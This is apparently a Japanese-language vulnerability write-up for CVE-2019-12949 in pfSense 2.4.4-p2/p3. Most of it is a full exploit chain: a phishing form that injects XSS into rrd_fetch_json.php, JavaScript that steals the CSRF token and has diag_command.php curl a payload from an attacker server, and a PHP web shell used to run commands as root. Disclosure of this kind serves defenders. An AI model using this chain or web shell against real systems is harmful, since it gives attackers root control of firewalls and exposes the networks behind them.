
CVE-2019-12949
pfSense 2.4.4-p2 および 2.4.4-p3 において、認証された管理者がフィッシングページ上のボタンをクリックするよう騙すことができた場合、攻撃者は ding_command.php および rrd_fetch_json.php を介して任意の実行可能コードをサーバーにアップロードできます。その後、リモート攻撃者はそのサーバー上で root 権限で任意のコマンドを実行できます。
研究者: Enter of The Tarantula Team, VinCSS (Vingroup のメンバー)
攻撃ベクトル: https://pfSense_IP_Address/rrd_fetch_json.php
POST リクエストを送信:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
攻撃者は以下のようなフィッシングサイトを作成して、pfsense 上の XSS 脆弱性を悪用できます:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
攻撃者のサーバー上の payload.js ファイルには、以下の Javascript コード(ペイロード)が含まれます:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
xhr.withCredentials=true;
xhr.send(null);
var resp = xhr.responseText;
console.log(resp);
var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
var end_idx = resp.indexOf('" />', start_idx);
var token = resp.slice(start_idx + 27, end_idx);
console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
xhr1.withCredentials=true;
var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr1.setRequestHeader("Content-length", params.length);
xhr1.send(params);
</script>
攻撃者のサーバー上の shell.txt ファイルには、以下のような任意の PHP ウェブシェルの内容が含まれます:
<?php
system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
phpinfo(); // show phpinfo
?>
最後に、攻撃者は認証された pfsense 管理者(被害者)を騙してフィッシングサイトにアクセスさせ、フィッシングサイトの「Submit」ボタンをクリックさせます。すると、被害者は pfsense 管理サイトにリダイレクトされ、攻撃者のウェブシェルが自動的に pfsense サーバーに正常にロードされます。
そこから、リモート攻撃者は pfsense サーバー上で root として任意のコードを実行できます:
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls